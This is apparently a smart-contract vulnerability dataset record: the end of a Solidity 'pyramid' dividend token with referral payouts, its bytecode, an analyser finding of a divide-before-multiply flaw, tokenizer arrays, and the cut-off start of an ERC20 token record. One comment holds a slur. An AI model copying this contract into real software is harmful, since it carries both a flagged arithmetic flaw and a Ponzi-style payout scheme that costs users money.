onlyAdministrator() public { name = _name; } /** * If we want to rebrand, we can. */ function setSymbol(string _symbol) onlyAdministrator() public { symbol = _symbol; } /*---------- HELPERS AND CALCULATORS ----------*/ /** * Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function totalEthereumBalance() public view returns(uint) { return this.balance; } /** * Retrieve the total token supply. */ function totalSupply() public view returns(uint256) { return tokenSupply_; } /** * Retrieve the tokens owned by the caller. */ function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns(uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } /** * Retrieve the token balance of any single address. */ function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } /** * Retrieve the dividend balance of any single address. */ function dividendsOf(address _customerAddress) view public returns(uint256) { return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } /** * Return the buy price of 1 individual token. */ function sellPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ ); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } /** * Return the sell price of 1 individual token. */ function buyPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ ); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } /** * Function for the frontend to dynamically retrieve the price scaling of buy orders. */ function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } /** * Function for the frontend to dynamically retrieve the price scaling of sell orders. */ function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ function purchaseTokens(uint256 _incomingEthereum, address _referredBy) antiEarlyWhale(_incomingEthereum) internal returns(uint256) { // data setup address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_); uint256 _referralBonus = SafeMath.div(_undividedDividends, 3); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; // no point in continuing execution if OP is a poorfag russian hacker // prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world // (or hackers) // and yes we know that the safemath function automatically rules out the "greater then" equasion. require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); // is the user referred by a masternode? if( // is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != _customerAddress && // does the referrer have at least X whole tokens? // i.e is the referrer a godly chad masternode tokenBalanceLedger_[_referredBy] >= stakingRequirement ){ // wealth redistribution referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } // we can't give people infinite ethereum if(tokenSupply_ > 0){ // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder profitPerShare_ += (_dividends * magnitude / (tokenSupply_)); // calculate the amount of tokens the customer receives over his purchase _fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_)))); } else { // add tokens to the pool tokenSupply_ = _amountOfTokens; } // update circulating supply & the ledger address for the customer tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); // Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them; //really i know you think you do but you don't int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; // fire event onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy); return _amountOfTokens; } /** * Calculate Token price based on an amount of incoming ethereum * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial**2) + (2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18)) + (((tokenPriceIncremental_)**2)*(tokenSupply_**2)) + (2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) )/(tokenPriceIncremental_) )-(tokenSupply_) ; return _tokensReceived; } /** * Calculate token sell value. * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)) )-tokenPriceIncremental_ )*(tokens_ - 1e18) ),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2 ) /1e18); return _etherReceived; } //This is where all your gas goes, sorry //Not sorry, you probably only paid 1 gwei function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x60806040526004361061015e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806265318b1461016c57806306fdde03146101c357806310d0ffdd1461025357806318160ddd1461029457806322609373146102bf57806327defa1f14610300578063313ce5671461032f578063392efb52146103605780633ccfd60b146103a95780634b750334146103c057806356d399e8146103eb578063688abbf7146104165780636b2f46321461045957806370a08231146104845780638328b610146104db5780638620410b1461050857806389135ae914610533578063949e8acd1461057057806395d89b411461059b578063a8e04f341461062b578063a9059cbb14610642578063b84c8246146106a7578063c47f002714610710578063e4849b3214610779578063e9fad8ee146107a6578063f088d547146107bd578063fdb5a03e14610807575b61016934600061081e565b50005b34801561017857600080fd5b506101ad600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061111d565b6040518082815260200191505060405180910390f35b3480156101cf57600080fd5b506101d86111bf565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102185780820151818401526020810190506101fd565b50505050905090810190601f1680156102455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561025f57600080fd5b5061027e6004803603810190808035906020019092919050505061125d565b6040518082815260200191505060405180910390f35b3480156102a057600080fd5b506102a9611295565b6040518082815260200191505060405180910390f35b3480156102cb57600080fd5b506102ea6004803603810190808035906020019092919050505061129f565b6040518082815260200191505060405180910390f35b34801561030c57600080fd5b506103156112e8565b604051808215151515815260200191505060405180910390f35b34801561033b57600080fd5b506103446112fb565b604051808260ff1660ff16815260200191505060405180910390f35b34801561036c57600080fd5b5061038f6004803603810190808035600019169060200190929190505050611300565b604051808215151515815260200191505060405180910390f35b3480156103b557600080fd5b506103be611320565b005b3480156103cc57600080fd5b506103d56114c4565b6040518082815260200191505060405180910390f35b3480156103f757600080fd5b50610400611522565b6040518082815260200191505060405180910390f35b34801561042257600080fd5b50610443600480360381019080803515159060200190929190505050611528565b6040518082815260200191505060405180910390f35b34801561046557600080fd5b5061046e611594565b6040518082815260200191505060405180910390f35b34801561049057600080fd5b506104c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115b3565b6040518082815260200191505060405180910390f35b3480156104e757600080fd5b50610506600480360381019080803590602001909291905050506115fc565b005b34801561051457600080fd5b5061051d611690565b6040518082815260200191505060405180910390f35b34801561053f57600080fd5b5061056e60048036038101908080356000191690602001909291908035151590602001909291905050506116ee565b005b34801561057c57600080fd5b506105856117af565b6040518082815260200191505060405180910390f35b3480156105a757600080fd5b506105b06117c4565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105f05780820151818401526020810190506105d5565b50505050905090810190601f16801561061d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561063757600080fd5b50610640611862565b005b34801561064e57600080fd5b5061068d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611909565b604051808215151515815260200191505060405180910390f35b3480156106b357600080fd5b5061070e600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611c3b565b005b34801561071c57600080fd5b50610777600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611cdf565b005b34801561078557600080fd5b506107a460048036038101908080359060200190929190505050611d83565b005b3480156107b257600080fd5b506107bb611fb1565b005b6107f1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612018565b6040518082815260200191505060405180910390f35b34801561081357600080fd5b5061081c61202a565b005b60008060008060008060008060008a6000339050600b60009054906101000a900460ff16801561085f5750678ac7230489e800008261085b611594565b0311155b15610d4d5760011515600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514801561090d5750678ac7230489e8000082600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111155b151561091857600080fd5b610961600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361219e565b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503399506109b58d600a60ff166121bc565b98506109c28960036121bc565b97506109ce89896121d7565b96506109da8d8a6121d7565b95506109e5866121f0565b94506801000000000000000087029350600085118015610a115750600854610a0f8660085461219e565b115b1515610a1c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff1614158015610a8557508973ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff1614155b8015610ad25750600254600460008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b15610b6857610b20600560008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548961219e565b600560008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b83565b610b72878961219e565b965068010000000000000000870293505b60006008541115610bee57610b9a6008548661219e565b600881905550600854680100000000000000008802811515610bb857fe5b04600960008282540192505081905550600854680100000000000000008802811515610be057fe5b048502840384039350610bf6565b846008819055505b610c3f600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548661219e565b600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083856009540203925082600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508b73ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167f022c0d992e4d873a3748436d960d5140c1f9721cf73f7ca5ec679d3d9f4fe2d58f88604051808381526020018281526020019250505060405180910390a3849a5061110d565b6000600b60006101000a81548160ff021916908315150217905550339950610d798d600a60ff166121bc565b9850610d868960036121bc565b9750610d9289896121d7565b9650610d9e8d8a6121d7565b9550610da9866121f0565b94506801000000000000000087029350600085118015610dd55750600854610dd38660085461219e565b115b1515610de057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff1614158015610e4957508973ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff1614155b8015610e965750600254600460008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b15610f2c57610ee4600560008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548961219e565b600560008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f47565b610f36878961219e565b965068010000000000000000870293505b60006008541115610fb257610f5e6008548661219e565b600881905550600854680100000000000000008802811515610f7c57fe5b04600960008282540192505081905550600854680100000000000000008802811515610fa457fe5b048502840384039350610fba565b846008819055505b611003600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548661219e565b600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083856009540203925082600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508b73ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167f022c0d992e4d873a3748436d960d5140c1f9721cf73f7ca5ec679d3d9f4fe2d58f88604051808381526020018281526020019250505060405180910390a3849a505b5050505050505050505092915050565b600068010000000000000000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460095402038115156111b757fe5b049050919050565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112555780601f1061122a57610100808354040283529160200191611255565b820191906000526020600020905b81548152906001019060200180831161123857829003601f168201915b505050505081565b60008060008061127185600a60ff166121bc565b925061127d85846121d7565b9150611288826121f0565b9050809350505050919050565b6000600854905090565b60008060008060085485111515156112b657600080fd5b6112bf8561227d565b92506112cf83600a60ff166121bc565b91506112db83836121d7565b9050809350505050919050565b600b60009054906101000a900460ff1681565b601281565b600a6020528060005260406000206000915054906101000a900460ff1681565b600080600061132f6001611528565b11151561133b57600080fd5b3391506113486000611528565b9050680100000000000000008102600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054810190506000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611471573d6000803e3d6000fd5b508173ffffffffffffffffffffffffffffffffffffffff167fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc826040518082815260200191505060405180910390a25050565b600080600080600060085414156114e9576402540be40064174876e80003935061151c565b6114fa670de0b6b3a764000061227d565b925061150a83600a60ff166121bc565b915061151683836121d7565b90508093505b50505090565b60025481565b600080339050826115415761153c8161111d565b61158c565b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461158a8261111d565b015b915050919050565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000339050600a600082604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140191505060405180910390206000191660001916815260200190815260200160002060009054906101000a900460ff16151561168557600080fd5b816002819055505050565b600080600080600060085414156116b5576402540be40064174876e8000193506116e8565b6116c6670de0b6b3a764000061227d565b92506116d683600a60ff166121bc565b91506116e2838361219e565b90508093505b50505090565b6000339050600a600082604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140191505060405180910390206000191660001916815260200190815260200160002060009054906101000a900460ff16151561177757600080fd5b81600a6000856000191660001916815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b6000803390506117be816115b3565b91505090565b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561185a5780601f1061182f5761010080835404028352916020019161185a565b820191906000526020600020905b81548152906001019060200180831161183d57829003601f168201915b505050505081565b6000339050600a600082604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140191505060405180910390206000191660001916815260200190815260200160002060009054906101000a900460ff1615156118eb57600080fd5b6000600b60006101000a81548160ff02191690831515021790555050565b60008060008060008061191a6117af565b11151561192657600080fd5b339350600b60009054906101000a900460ff161580156119855750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548611155b151561199057600080fd5b600061199c6001611528565b11156119ab576119aa611320565b5b6119b986600a60ff166121bc565b92506119c586846121d7565b91506119d08361227d565b90506119de600854846121d7565b600881905550611a2d600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054876121d7565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ab9600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361219e565b600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508560095402600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508160095402600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550611bc2600954600854680100000000000000008402811515611bbc57fe5b0461219e565b6009819055508673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600194505050505092915050565b6000339050600a600082604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140191505060405180910390206000191660001916815260200190815260200160002060009054906101000a900460ff161515611cc457600080fd5b8160019080519060200190611cda929190612373565b505050565b6000339050600a600082604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140191505060405180910390206000191660001916815260200190815260200160002060009054906101000a900460ff161515611d6857600080fd5b8160009080519060200190611d7e929190612373565b505050565b6000806000806000806000611d966117af565b111515611da257600080fd5b339550600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548711151515611df357600080fd5b869450611dff8561227d565b9350611e0f84600a60ff166121bc565b9250611e1b84846121d7565b9150611e29600854866121d7565b600881905550611e78600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054866121d7565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550680100000000000000008202856009540201905080600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555060006008541115611f5257611f4b600954600854680100000000000000008602811515611f4557fe5b0461219e565b6009819055505b8573ffffffffffffffffffffffffffffffffffffffff167fc4823739c5787d2ca17e404aa47d5569ae71dfb49cbf21b3f6152ed238a311398684604051808381526020018281526020019250505060405180910390a250505050505050565b600080339150600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081111561200c5761200b81611d83565b5b612014611320565b5050565b6000612024348361081e565b50919050565b60008060008061203a6001611528565b11151561204657600080fd5b6120506000611528565b9250339150680100000000000000008302600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054830192506000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061214183600061081e565b90508173ffffffffffffffffffffffffffffffffffffffff167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab36153264588483604051808381526020018281526020019250505060405180910390a2505050565b60008082840190508381101515156121b257fe5b8091505092915050565b60008082848115156121ca57fe5b0490508091505092915050565b60008282111515156121e557fe5b818303905092915050565b6000806000670de0b6b3a764000064174876e8000291506008546402540be400612266612260600854866402540be400600202020260026008540a60026402540be4000a02670de0b6b3a76400008a02670de0b6b3a76400006402540be40002600202026002890a010101612328565b856121d7565b81151561226f57fe5b040390508092505050919050565b600080600080670de0b6b3a764000085019250670de0b6b3a7640000600854019150670de0b6b3a7640000612311670de0b6b3a764000085036402540be400670de0b6b3a7640000868115156122cf57fe5b046402540be4000264174876e8000103026002670de0b6b3a7640000876002890a038115156122fa57fe5b046402540be4000281151561230b57fe5b046121d7565b81151561231a57fe5b049050809350505050919050565b60008060026001840181151561233a57fe5b0490508291505b8181101561236d57809150600281828581151561235a57fe5b040181151561236557fe5b049050612341565b50919050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106123b457805160ff19168380011785556123e2565b828001600101855582156123e2579182015b828111156123e15782518255916020019190600101906123c6565b5b5090506123ef91906123f3565b5090565b61241591905b808211156124115760008160009055506001016123f9565b5090565b905600a165627a7a72305820ba35bb48d271693803ec6734e356c5f0149497463adc57f6b9fa639555715e5e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2546, 2509, 2063, 12740, 20842, 28311, 2629, 2063, 2475, 2497, 2683, 2094, 2581, 2575, 7875, 2629, 2497, 15136, 2581, 2487, 2050, 2683, 2549, 2497, 2620, 2497, 2509, 2050, 2692, 2620, 2094, 23499, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2322, 1025, 1013, 1008, 4931, 4931, 4931, 2001, 3736, 2001, 3736, 2001, 3736, 2001, 3736, 2978, 8663, 8586, 9468, 9468, 9468, 9468, 9468, 9468, 9468, 9468, 9468, 9468, 9468, 9468, 2278, 1008, 1013, 3206, 5828, 18900, 2891, 1063, 1013, 1008, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 16913, 28295, 1027, 1027, 1027, 1027, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,536
0x96f3e4d228f779f13675260c9dfd6baaf1fe6761
pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'BC Top Craft Cannabis' token contract // // Deployed to : 0x1f75ffe6B1b151d2a13b5957B96F2721a2b21890 // Symbol : BCTCC // Name : BC Top Craft Cannabis // Total supply: 100000000000 // Decimals : 4 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract BCTopCraftCannabis is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function BCTopCraftCannabis() public { symbol = "BCTCC"; name = "BC Top Craft Cannabis"; decimals = 4; _totalSupply = 1000000000000000; balances[0x1f75ffe6B1b151d2a13b5957B96F2721a2b21890] = _totalSupply; Transfer(address(0), 0x1f75ffe6B1b151d2a13b5957B96F2721a2b21890, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to 